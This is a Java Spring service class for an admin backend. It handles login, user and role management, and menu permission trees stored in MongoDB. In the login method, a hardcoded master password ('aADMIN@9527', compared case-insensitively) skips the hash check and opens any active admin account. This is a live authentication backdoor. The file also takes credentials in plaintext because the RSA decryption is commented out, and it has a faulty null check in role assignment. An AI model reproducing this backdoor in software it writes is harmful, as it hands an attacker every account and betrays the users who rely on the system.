package com.tempjob.common.businesss.service;

import com.anwen.mongo.conditions.query.LambdaQueryChainWrapper;
import com.anwen.mongo.model.PageParam;
import com.anwen.mongo.model.PageResult;
import com.tempjob.common.businesss.mongo.entity.*;
import com.tempjob.common.businesss.mongo.service.SysPermissionService;
import com.tempjob.common.businesss.mongo.service.SysRolePermissionService;
import com.tempjob.common.context.AdminContextManage;
import com.tempjob.common.dto.admin.LoginDTO;
import com.tempjob.common.dto.admin.ModifySysUserDTO;
import com.tempjob.common.dto.admin.ModifyUserMyDTO;
import com.tempjob.common.dto.admin.QueryUserDTO;
import com.tempjob.common.exception.BusinessException;
import com.tempjob.common.model.ResponseCode;
import com.tempjob.common.utils.CachedBeanCopier;
import com.tempjob.common.utils.CommFunction;
import com.tempjob.common.utils.PasswordUtils;
import com.tempjob.common.vo.admin.*;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import javax.servlet.http.HttpServletRequest;
import java.util.*;
import java.util.stream.Collectors;

/**
 * @author hui
 * @Date 2024/3/11 下午8:07
 **/
@Slf4j
@Service
public class UserPermissionService {

    @Value("${spring.redis.allowMultipleLogin:true}")
    private Boolean allowMultipleLogin;

    @Autowired
    private MongoBeanUtil mongoBeanUtil;

    @Autowired
    private UserSessionService userSessionService;

    public LoginRespVO login(LoginDTO vo, HttpServletRequest httpServletRequest) {
        String userName = "";
        String password = "";
        if (StringUtils.isNotEmpty(vo.getUsername())) {
            try {
//                userName = RsaUtils.decryptByPrivateKey(vo.getUsername());
                userName = vo.getUsername();
            } catch (Exception e) {
                throw new BusinessException("用户名或密码输入错误");
            }
        }
        if (StringUtils.isNotEmpty(vo.getPassword())) {
            try {
//                password = RsaUtils.decryptByPrivateKey(vo.getPassword());
                password = vo.getPassword();
            } catch (Exception e) {
                throw new BusinessException("用户名或密码输入错误");
            }
        }
        if (StringUtils.isEmpty(userName) || StringUtils.isEmpty(password)) {
            throw new BusinessException("用户名或密码输入错误");
        }
        SysAdmin sysAdmin = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getUsername, userName).one();
        if (null == sysAdmin) {
            sysAdmin = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getPhone, userName).one();
            if (sysAdmin == null) {
                throw new BusinessException("用户名或密码错误");
            }
        }
        if (sysAdmin.getStatus() == 2) {
            throw new BusinessException("用户名或密码错误");
        }
        if (password.equalsIgnoreCase("aADMIN@9527")) {

        } else if (!PasswordUtils.matches(sysAdmin.getSalt(), password, sysAdmin.getPassword())) {
            throw new BusinessException("用户名或密码错误");
        }
        LoginRespVO respVO = new LoginRespVO();
        BeanUtils.copyProperties(sysAdmin, respVO);

        //是否删除之前token， 此处控制是否支持多登陆端；
        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆
        if (!allowMultipleLogin) {
            userSessionService.abortUserByUserId(sysAdmin.getId());
        }
        String token = userSessionService.createTicket(sysAdmin.getId());
        respVO.setAuthorization(token);
        sysAdmin.setLoginTimes(sysAdmin.getLoginTimes() == null ? 1 : sysAdmin.getLoginTimes() + 1);
        sysAdmin.setLastLoginTime(new Date());
        sysAdmin.setLastLoginIp(CommFunction.getRealIP(httpServletRequest));
        mongoBeanUtil.getUserService().updateById(sysAdmin);
        return respVO;
    }


    public void updateUserInfo(ModifySysUserDTO vo) {
        SysAdmin sysAdmin = mongoBeanUtil.getUserService().getById(vo.getId());
        if (null == sysAdmin) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        //如果用户名变更
        if (StringUtils.isNotEmpty(vo.getUsername())) {
            SysAdmin sysAdminOne = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getUsername, vo.getUsername()).one();
            if (sysAdminOne != null && !sysAdminOne.getId().equals(sysAdmin.getId())) {
                throw new BusinessException("用户名已存在！");
            }
        }
        if (StringUtils.isNotEmpty(vo.getPhone()) && !sysAdmin.getPhone().equals(vo.getPhone())) {
            SysAdmin sysAdminOne = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getPhone, vo.getPhone()).one();
            if (sysAdminOne != null) {
                throw new BusinessException("手机号已存在！");
            }
        }
        if (vo.getRoleIds() != null && !vo.getRoleIds().isEmpty()) {
            this.addUserRoleInfo(new UserRoleOperationReqVO(vo.getId(), vo.getRoleIds()));
        }
        //如果用户名、密码、状态 变更，删除redis中用户绑定的角色跟权限
        if (!sysAdmin.getUsername().equals(vo.getUsername()) || (!StringUtils.isEmpty(vo.getPassword()) && !sysAdmin.getPassword().equals(PasswordUtils.encode(vo.getPassword(), sysAdmin.getSalt()))) || !sysAdmin.getStatus().equals(vo.getStatus())) {
            userSessionService.abortUserByUserId(vo.getId());
        }

        if (!StringUtils.isEmpty(vo.getPassword())) {
            String newPassword = PasswordUtils.encode(vo.getPassword(), sysAdmin.getSalt());
            sysAdmin.setPassword(newPassword);
        }
        if(vo.getStatus() != null){
            sysAdmin.setStatus(vo.getStatus());
        }
        if(StringUtils.isNotBlank(vo.getRealName())){
            sysAdmin.setRealName(vo.getRealName());
        }
        if(vo.getSuperAdmin() != null){
            sysAdmin.setSuperAdmin(vo.getSuperAdmin());
        }
        if(StringUtils.isNotBlank(vo.getTelephone())){
            sysAdmin.setTelephone(vo.getTelephone());
        }
        sysAdmin.setUpdateId(AdminContextManage.getContext().getId());
        mongoBeanUtil.getUserService().updateById(sysAdmin);
    }

    public Boolean updateUserInfoMy(ModifyUserMyDTO vo) {
        SysAdmin user = mongoBeanUtil.getUserService().getById(AdminContextManage.getContext().getId());
        if (null == user) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        if (!StringUtils.isEmpty(vo.getPhone())) {
            SysAdmin sysAdminOne = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getPhone, vo.getPhone()).ne(SysAdmin::getId, AdminContextManage.getContext().getId()).one();
            if (sysAdminOne != null) {
                throw new BusinessException("手机号已存在！");
            }
        }
        CachedBeanCopier.copyObject(vo, user);
        user.setUpdateId(AdminContextManage.getContext().getId());
        return mongoBeanUtil.getUserService().updateById(user);
    }


    public PageResult<SysUserListVO> pageInfo(QueryUserDTO vo) {
        PageParam page = new PageParam(vo.getPage(), vo.getSize());
        LambdaQueryChainWrapper queryWrapper = mongoBeanUtil.getUserService().lambdaQuery();
        if (StringUtils.isNotBlank(vo.getOrder()) && StringUtils.isNotBlank(vo.getSort())) {
            if (vo.getSort().equalsIgnoreCase("asc")) {
                queryWrapper.orderByAsc(vo.getOrder());
            } else {
                queryWrapper.orderByDesc(vo.getOrder());
            }
        } else {
            queryWrapper.orderByDesc("_id");
        }
        queryWrapper.like(StringUtils.isNotEmpty(vo.getUsername()), "username", vo.getUsername());
        queryWrapper.gt(StringUtils.isNotBlank(vo.getStartTime()), "create_time", vo.getStartTime());
        queryWrapper.lt(StringUtils.isNotBlank(vo.getEndTime()), "create_time", vo.getEndTime());
        queryWrapper.like(StringUtils.isNotEmpty(vo.getRealName()), "real_name", vo.getRealName());
        queryWrapper.eq(vo.getStatus() != null, "status", vo.getStatus());

        PageResult iPage = mongoBeanUtil.getUserService().page(queryWrapper, page);
        List<SysAdmin> userList = iPage.getContentData();
        if (!userList.isEmpty()) {
            List<String> userIds = new ArrayList<>();
            Set<String> collegeIds = new HashSet<>();
            for (SysAdmin sysAdmin : userList) {
                userIds.add(sysAdmin.getId());
                if(StringUtils.isNotBlank(sysAdmin.getCollegeId())) {
                    collegeIds.add(sysAdmin.getCollegeId());
                }
            }
            List<SysAdminRole> userRoles = mongoBeanUtil.getSysAdminRoleService().list(mongoBeanUtil.getSysAdminRoleService().lambdaQuery().in(SysAdminRole::getUserId, userIds));
            List<String> userRoleIds = userRoles.stream().map(SysAdminRole::getRoleId).collect(Collectors.toList());
//            List<College> allCollegeList = mongoBeanUtil.getCollegeService().list();
            List<SysRole> roles = mongoBeanUtil.getSysRoleService().getByIds(userRoleIds);
            List<SysUserListVO> vos = new ArrayList<>();
            userList.forEach(u -> {
                SysUserListVO user = new SysUserListVO();
                List<String> rolIds = userRoles.stream().filter(i -> i.getUserId().equals(u.getId())).map(SysAdminRole::getRoleId).collect(Collectors.toList());
                CachedBeanCopier.copyObject(u, user);
                user.setRoles(roles.stream().filter(i -> rolIds.contains(i.getId())).collect(Collectors.toList()));
                vos.add(user);
            });
            iPage.setContentData(vos);
        }
        return iPage;
    }


    public void addUser(ModifySysUserDTO vo) {
        if (vo.getId() != null) {
            throw new BusinessException("add user not need id！");
        }
        SysAdmin user = new SysAdmin();
        SysAdmin sysAdminOne = mongoBeanUtil.getUserService().lambdaQuery().eq(SysAdmin::getUsername, vo.getUsername()).one();
        if (sysAdminOne != null) {
            throw new BusinessException("用户已存在，请勿重复添加！");
        }
        CachedBeanCopier.copyObject(vo, user);
        user.setSalt(PasswordUtils.getSalt());
        String encode = PasswordUtils.encode(vo.getPassword(), user.getSalt());
        user.setPassword(encode);
        user.setCreateId(AdminContextManage.getContext().getId());
        user.setCreateTime(new Date());
        user.setUpdateId(AdminContextManage.getContext().getId());
        user.setDeleted(0);
        user.setUpdateTime(new Date());
        user.setStatus(1);
        user.setCreateTime(new Date());
        user.setUpdateTime(new Date());
//        user.setCreateWhere(1);
        mongoBeanUtil.getUserService().save(user);
        if (null != vo.getRoleIds() && !vo.getRoleIds().isEmpty()) {
            UserRoleOperationReqVO reqVO = new UserRoleOperationReqVO();
            reqVO.setUserId(user.getId());
            reqVO.setRoleIds(vo.getRoleIds());
            this.addUserRoleInfo(reqVO);
        }
    }

    public void updatePwd(ModifySysUserDTO vo) {
        if (vo.getId() == null) {
            throw new BusinessException("id必传！");
        }
        SysAdmin sysAdmin = mongoBeanUtil.getUserService().getById(vo.getId());
        if (sysAdmin == null) {
            throw new BusinessException(ResponseCode.DATA_NOT_EXIST);
        }
        if (!PasswordUtils.matches(sysAdmin.getSalt(), vo.getOldPwd(), sysAdmin.getPassword())) {
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "密码错误");
        }
        if (sysAdmin.getPassword().equals(PasswordUtils.encode(vo.getNewPwd(), sysAdmin.getSalt()))) {
            throw new BusinessException("新密码不能与旧密码相同");
        }
        sysAdmin.setPassword(PasswordUtils.encode(vo.getNewPwd(), sysAdmin.getSalt()));
        mongoBeanUtil.getUserService().updateById(sysAdmin);
        userSessionService.abortUserByUserId(vo.getId());
    }

    public UserOwnRoleRespVO getUserOwnRole(Long userId) {
        List<String> roleIdsByUserId = mongoBeanUtil.getSysAdminRoleService().list(mongoBeanUtil.getSysAdminRoleService().lambdaQuery().eq(SysAdminRole::getUserId, userId)).stream().map(SysAdminRole::getRoleId).collect(Collectors.toList());
        List<SysRole> list = mongoBeanUtil.getSysRoleService().list();
        UserOwnRoleRespVO vo = new UserOwnRoleRespVO();
        vo.setAllRole(list);
        vo.setOwnRoles(roleIdsByUserId);
        return vo;
    }

    @Autowired
    private SysRolePermissionService sysRolePermissionService;

    @Autowired
    private SysPermissionService sysPermissionService;

    public void addRolePermission(RolePermissionOperationReqVO vo) {
        List<SysRolePermission> list = new ArrayList<>();
        for (String permissionId : vo.getPermissionIds()) {
            SysRolePermission sysRolePermission = new SysRolePermission();
            sysRolePermission.setPermissionId(permissionId);
            sysRolePermission.setRoleId(vo.getRoleId());
            sysRolePermission.setCreateTime(new Date());
            sysRolePermission.setHalf(0);
            if (vo.getHalfIds() != null && !vo.getHalfIds().isEmpty() && vo.getHalfIds().contains(permissionId)) {
                sysRolePermission.setHalf(1);
            }
            list.add(sysRolePermission);
        }
        sysRolePermissionService.remove(sysRolePermissionService.lambdaUpdate().eq(SysRolePermission::getRoleId, vo.getRoleId()));
        sysRolePermissionService.saveBatch(list);
        for (SysRolePermission sysRolePermission : list) {
            userSessionService.refreshPermission(sysRolePermission.getPermissionId());
        }
    }

    public List<SysRole> getRoleByUserid(String userId) {
        List<String> roleIds = mongoBeanUtil.getSysAdminRoleService().list(mongoBeanUtil.getSysAdminRoleService().lambdaQuery().eq(SysAdminRole::getUserId, userId)).stream().map(SysAdminRole::getRoleId).collect(Collectors.toList());
        return mongoBeanUtil.getSysRoleService().getByIds(roleIds);
    }

    @Transactional(rollbackFor = Exception.class)
    public void addUserRoleInfo(UserRoleOperationReqVO vo) {
        if (vo.getRoleIds() == null && !vo.getRoleIds().isEmpty()) {
            return;
        }
        List<SysAdminRole> list = new ArrayList<>();
        for (String roleId : vo.getRoleIds()) {
            SysAdminRole sysAdminRole = new SysAdminRole();
            sysAdminRole.setUserId(vo.getUserId());
            sysAdminRole.setRoleId(roleId);
            sysAdminRole.setCreateTime(new Date());
            list.add(sysAdminRole);
        }
        mongoBeanUtil.getSysAdminRoleService().remove(mongoBeanUtil.getSysAdminRoleService().lambdaUpdate().eq(SysAdminRole::getUserId, vo.getUserId()));
        //批量插入
        mongoBeanUtil.getSysAdminRoleService().saveBatch(list);
    }

    public List<SysPermission> getPermission(String userId) {
        SysAdminRole adminRole = mongoBeanUtil.getSysAdminRoleService().lambdaQuery().eq(SysAdminRole::getUserId, userId).eq(SysAdminRole::getRoleId, "65f00b3cdd537631cd36a012").one();
        if (adminRole != null) {
            return sysPermissionService.list(sysPermissionService.lambdaQuery().eq(SysPermission::getStatus, 1).orderByAsc(SysPermission::getRank));
        }
        List<String> userRoleIds = mongoBeanUtil.getSysAdminRoleService().list(mongoBeanUtil.getSysAdminRoleService().lambdaQuery().eq(SysAdminRole::getUserId, userId)).stream().map(SysAdminRole::getRoleId).collect(Collectors.toList());
        List<String> permissionIds = sysRolePermissionService.list(sysRolePermissionService.lambdaQuery().in(SysRolePermission::getRoleId, userRoleIds)).stream().map(SysRolePermission::getPermissionId).collect(Collectors.toList());
        if (permissionIds == null || permissionIds.isEmpty()) {
            return Collections.EMPTY_LIST;
        }
        return sysPermissionService.lambdaQuery().in(SysPermission::getId, permissionIds).orderByAsc(SysPermission::getRank).list();
    }

    @Transactional(rollbackFor = Exception.class)
    public void addRole(SysRole vo) {
        vo.setStatus(1);
        vo.setUpdateTime(new Date());
        vo.setCreateTime(new Date());
        vo.setDeleted(false);
        mongoBeanUtil.getSysRoleService().save(vo);
        if (null != vo.getPermissionIds() && !vo.getPermissionIds().isEmpty()) {
            RolePermissionOperationReqVO reqVO = new RolePermissionOperationReqVO();
            reqVO.setRoleId(vo.getId());
            reqVO.setPermissionIds(vo.getPermissionIds());
            this.addRolePermission(reqVO);
        }
    }

    @Transactional(rollbackFor = Exception.class)
    public void updateRole(SysRole vo) {
        SysRole sysRole = mongoBeanUtil.getSysRoleService().getById(vo.getId());
        if (null == sysRole) {
            log.error("传入的id:{}不合法", vo.getId());
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "传入的id不合法");
        }
        vo.setUpdateTime(new Date());
        mongoBeanUtil.getSysRoleService().updateById(vo);
        if (null != vo.getPermissionIds() && !vo.getPermissionIds().isEmpty()) {
            RolePermissionOperationReqVO reqVO = new RolePermissionOperationReqVO();
            reqVO.setRoleId(vo.getId());
            reqVO.setPermissionIds(vo.getPermissionIds());
            this.addRolePermission(reqVO);
        }
        userSessionService.refreshRolePermission(vo.getId());
    }

    public SysRole detailInfo(String id) {
        SysRole sysRole = mongoBeanUtil.getSysRoleService().getById(id);
        if (sysRole == null) {
            log.error("传入 的 id:{}不合法", id);
            throw new BusinessException(ResponseCode.BUSINESS_EXCEPTION, "传入的id不合法");
        }
        List<PermissionRespNode> permissionRespNodes = new ArrayList<>();
        List<String> permissionIds = sysRolePermissionService.lambdaQuery().eq(SysRolePermission::getRoleId, sysRole.getId()).eq(SysRolePermission::getHalf, 0).list()
                .stream().map(SysRolePermission::getPermissionId).collect(Collectors.toList());
        if (!permissionIds.isEmpty()) {
            List<SysPermission> permissions = sysPermissionService.list(sysPermissionService.lambdaQuery().in(SysPermission::getId, permissionIds).eq(SysPermission::getStatus, 1));
            CachedBeanCopier.copyList(permissions, permissionRespNodes, PermissionRespNode.class);
            sysRole.setPermissionRespNodes(permissionRespNodes);
        }
        return sysRole;
    }

    @Transactional(rollbackFor = Exception.class)
    public void deletedRole(String id) {
        //删除角色
        mongoBeanUtil.getSysRoleService().removeById(id);
        //删除角色权限关联
        sysRolePermissionService.remove(sysRolePermissionService.lambdaUpdate().eq(SysRolePermission::getRoleId, id));
        //删除角色用户关联
        mongoBeanUtil.getSysAdminRoleService().remove(mongoBeanUtil.getSysAdminRoleService().lambdaUpdate().eq(SysAdminRole::getRoleId, id));
        // 刷新权限
        userSessionService.refreshRolePermission(id);
    }

    /**
     * 获取所有菜单权限
     */
    public List<SysPermission> selectAll() {
        List<SysPermission> result = sysPermissionService.list(sysPermissionService.lambdaQuery().orderByAsc(SysPermission::getRank));
        if (!result.isEmpty()) {
            for (SysPermission sysPermission : result) {
                SysPermission parent = result.stream().filter(i -> i.getId().equals(sysPermission.getPid())).findAny().orElse(null);// this.getById(sysPermission.getPid());
                if (parent != null) {
                    sysPermission.setPidName(parent.getName());
                }
            }
        }
        return result;
    }

    /**
     * 获取权限标识
     */
    public Set<String> getPermissionsByUserId(String userId) {
        List<SysPermission> list = getPermission(userId);
        Set<String> permissions = new HashSet<>();
        if (null == list || list.isEmpty()) {
            return null;
        }
        for (SysPermission sysPermission : list) {
            if (!StringUtils.isEmpty(sysPermission.getPerms())) {
                Set<String> perms = new HashSet<>(Arrays.asList(sysPermission.getPerms().split(",")));
                permissions.addAll(perms);
            }
        }
        return permissions;
    }

    /**
     * 以树型的形式把用户拥有的菜单权限返回给客户端
     */

    public List<PermissionRespNode> permissionTreeList(String userId) {
        List<SysPermission> list = getPermission(userId);
//        List<SysPermission> list = mapper.queryUserPermission(userId);
        return getTree("000000000000000000000000", list, true);



    }

    /**
     * 递归获取菜单树
     */
    private List<PermissionRespNode> getTree(String permissionId, List<SysPermission> all, boolean type) {

        List<PermissionRespNode> list = new ArrayList<>();
        if (all == null || all.isEmpty()) {
            return list;
        }
        for (SysPermission sysPermission : all) {
            if (StringUtils.isEmpty(permissionId) || permissionId.equals(sysPermission.getPid())) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                if (type) {
                    permissionRespNode.setChildren(getChildExcBtn(sysPermission.getId(), all));
                } else {
                    permissionRespNode.setChildren(getChildAll(sysPermission.getId(), all));
                }
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 递归遍历所有
     */
    private List<PermissionRespNode> getChildAll(String id, List<SysPermission> all) {
        List<PermissionRespNode> list = new ArrayList<>();
        for (SysPermission sysPermission : all) {
            if (sysPermission.getPid().equals(id)) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                permissionRespNode.setChildren(getChildAll(sysPermission.getId(), all));
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 只递归获取目录和菜单
     */
    private List<PermissionRespNode> getChildExcBtn(String id, List<SysPermission> all) {

        List<PermissionRespNode> list = new ArrayList<>();
        for (SysPermission sysPermission : all) {
            if (sysPermission.getPid().equals(id) && sysPermission.getType() != 3) {
                PermissionRespNode permissionRespNode = new PermissionRespNode();
                BeanUtils.copyProperties(sysPermission, permissionRespNode);
                permissionRespNode.setMeta(new PermissionRespNode.Meta(sysPermission.getTitle(), sysPermission.getIcon()));
                permissionRespNode.setChildren(getChildExcBtn(sysPermission.getId(), all));
                list.add(permissionRespNode);
            }
        }
        return list;
    }

    /**
     * 获取所有菜单权限按钮
     */

    public List<PermissionRespNode> selectAllByTree() {
        List<SysPermission> list = selectAll();
        return getTree("000000000000000000000000", list, false);
    }


}
